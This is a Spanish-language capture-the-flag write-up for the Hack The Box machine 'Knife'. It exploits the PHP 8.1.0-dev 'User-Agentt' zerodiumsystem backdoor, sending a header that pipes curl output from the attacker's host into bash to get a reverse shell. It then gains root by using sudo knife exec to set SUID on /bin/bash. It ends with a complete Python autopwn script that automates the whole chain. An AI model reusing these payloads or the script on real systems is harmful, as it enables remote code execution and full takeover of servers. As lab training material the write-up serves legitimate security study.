Knife - Hack The Box
Knife
Script que automatiza la intrusion como root: https://pastebin.com/zPgAEp6f
ENUMERACIÓN
Como siempre lo primero es hacer un reconocimiento de versiones y servicios de la maquina
❯ nmap -sC -sV -p22,80 10.10.10.242 -oN scanPorts
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 06:09 EDT
Nmap scan report for 10.10.10.242
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Utilizamos la herramienta whatweb
para hacer un reconocimiento rapido de la pagina web.
¿Qué es whatweb
?
WhatWeb reconoce tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados. WhatWeb tiene más de 1700 complementos, cada uno para reconocer algo diferente. WhatWeb también identifica números de versión, direcciones de correo electrónico, ID de cuenta, módulos de marco web, errores de SQL y más.
❯ whatweb http://10.10.10.242
http://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]
Busco informacion sobre algun exploit o vulnerabilidad sobre PHP[8.1.0-dev], y encuentro varias cosas:
❯ searchsploit php 8.1.0
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
EXPLOTACIÓN
Lo pruebo y puedo inyectar comandos, esta version de php es vulnerable:
❯ python3 tester_exploit.py
Enter the full host url:
http://10.10.10.242/
Interactive shell is opened on http://10.10.10.242/
Can't acces tty; job crontol turned off.
$ whoami
james
$ ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.242 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56ff:feb9:8661 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:8661 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:86:61 txqueuelen 1000 (Ethernet)
RX packets 94052 bytes 5666723 (5.6 MB)
RX errors 0 dropped 29 overruns 0 frame 0
TX packets 94094 bytes 5274286 (5.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 31458 bytes 3331239 (3.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 31458 bytes 3331239 (3.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Vamos a examinar a bajo nivel que hace este exploit: en este post nos explica todo acerca de la vulnerabilidad.
Vemos que a través del User-Agent podemos usar el parámetro zerodiumsystem
para inyectar comandos en el sistema, de esta forma:
GANANDO ACCESO
Vamos a ganar acceso a la maquina:
Nos creamos un archivo llamado index.html
, nos compartimos un servidor http con python y en la petición get de burpsuite
enviamos el siguiente User-Agent:
User-Agentt: zerodiumsystem("curl http://10.10.16.198|bash");
❯ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.198/443 0>&1
❯python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.242 - - [26/Aug/2021 10:03:48] "GET / HTTP/1.1" 200 -
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.198] from (UNKNOWN) [10.10.10.242] 44230
bash: cannot set terminal process group (1039): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
james
bash-5.0$
Obtenemos una reverse shell como el usuario James.
ESCALADA DE PRIVILEGIOS
james@knife:~$ $ cat user.txt
cat user.txt
70fafa7feb8aaa02687--------
james@knife:~$ $ sudo -l
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Enumerando el sistema, vemos que tenemos el privilegio de ejecutar como root el binario knife
Este binario nos permite ejecutar comandos
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
james@knife:/tmp$ $ sudo /usr/bin/knife exec --help
sudo /usr/bin/knife exec --help
knife exec [SCRIPT] (options)
-s, --server-url URL Chef Infra Server URL.
--chef-zero-host HOST Host to start Chef Infra Zero on.
--chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.
-k, --key KEY Chef Infra Server API client key.
--[no-]color Use colored output, defaults to enabled.
-c, --config CONFIG The configuration file to use.
--config-option OPTION=VALUE Override a single configuration option.
--defaults Accept default values for all questions.
-d, --disable-editing Do not open EDITOR, just accept the data as is.
-e, --editor EDITOR Set the editor to use for interactive commands.
--environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).
-E, --exec CODE A string of Chef Infra Client code to execute.
--[no-]fips Enable FIPS mode.
-F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp')
--[no-]listen Whether a local mode (-z) server binds to a port.
-z, --local-mode Point knife commands at local repository instead of Chef Infra Server.
-u, --user USER Chef Infra Server API client username.
--print-after Show the data after a destructive operation.
--profile PROFILE The credentials profile to select.
-p, --script-path PATH:PATH A colon-separated path to look for scripts in.
-V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.
-v, --version Show Chef Infra Client version.
-y, --yes Say yes to all prompts for confirmation.
-h, --help Show this help message.
Aprendiendo como funciona este binario en este post , interpreta código en lenguaje ruby, así que podemos inyectar un comando en Ruby como el usuario root:
Una de las muchas formas de las que podemos escalar privilegios seria otorgando el privilegio SUID a la /bin/bash de tal forma que ejecutando bash -p
lo ejecutaríamos como el usuario root y nos otorgaría una shell como él mismo
james@knife:/$ $ sudo /usr/bin/knife exec -E 'exec "whoami"'
sudo /usr/bin/knife exec -E 'exec "whoami"'
root
james@knife:/$ $ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
james@knife:/$ $ sudo /usr/bin/knife exec -E 'exec "chmod +s /bin/bash"'
sudo /usr/bin/knife exec -E 'exec "chmod +s /bin/bash"'
james@knife:/$ $ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
james@knife:/$ $ bash -p
bash -p
$ whoami
root
$ cat /root/root.txt
a79cadff9e6c15242493c8a-------
Script Autopwn para ganar acceso como root:
#!/usr/bin/python3
# Title : Autopwn Knife
# Date: 26/08/21
# Exploit Author: tukutu (H4ckBl0g)
# Version PHP: 8.1.0-dev
# CVE : N/A
# References:
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
#Uso: python3 autopwn_knife.py <LHOST> <URL>
#Ejemplo: python3 autopwn_knife.py 10.10.16.198 http://10.10.10.242/
import sys
import os
import time
import threading
import requests
import signal
import subprocess
from pwn import *
if len(sys.argv) != 3:
print("\nUso: python3 autopwn_knife.py <LHOST> <URL>\n\nEjemplo: python3 autopwn_knife.py 10.10.16.198 http://10.10.10.242/")
sys.exit(1)
#Variables
URL = sys.argv[2]
LHOST = sys.argv[1]
LPORT = 443
#Funciones
def def_handler(sig, frame):
print("\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def obtainShell():
try:
p1 = log.progress("\nCreando archivo index.html con contenido malicioso\n")
os.system('echo "#!/bin/bash\n\nbash -i >& /dev/tcp/%s/443 0>&1" > index.html' %LHOST)
s = requests.Session()
cmd_header = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'User-Agentt' : 'zerodiumsystem("curl http://%s|bash");' %LHOST
}
subprocess.Popen(["timeout", "10", "python3", "-m", "http.server", "80"])
time.sleep(1)
r = s.get(URL, headers=cmd_header)
time.sleep(1)
except Exception as e:
print(e)
if __name__ == '__main__':
try:
threading.Thread(target=obtainShell).start()
except Exception as e:
log.error(str(e))
shell = listen(LPORT, timeout=5).wait_for_connection()
if shell.sock is None:
log.failure("No se ha obtenido conexion")
sys.exit()
else:
log.success("\n ✔️ Se ha obtenido una shell ✔️ \n")
os.system("rm index.html")
time.sleep(1)
shell.sendline("""sudo /usr/bin/knife exec -E 'exec "chmod +s /bin/bash"'""")
shell.sendline("bash -p")
shell.sendline("whoami")
shell.interactive()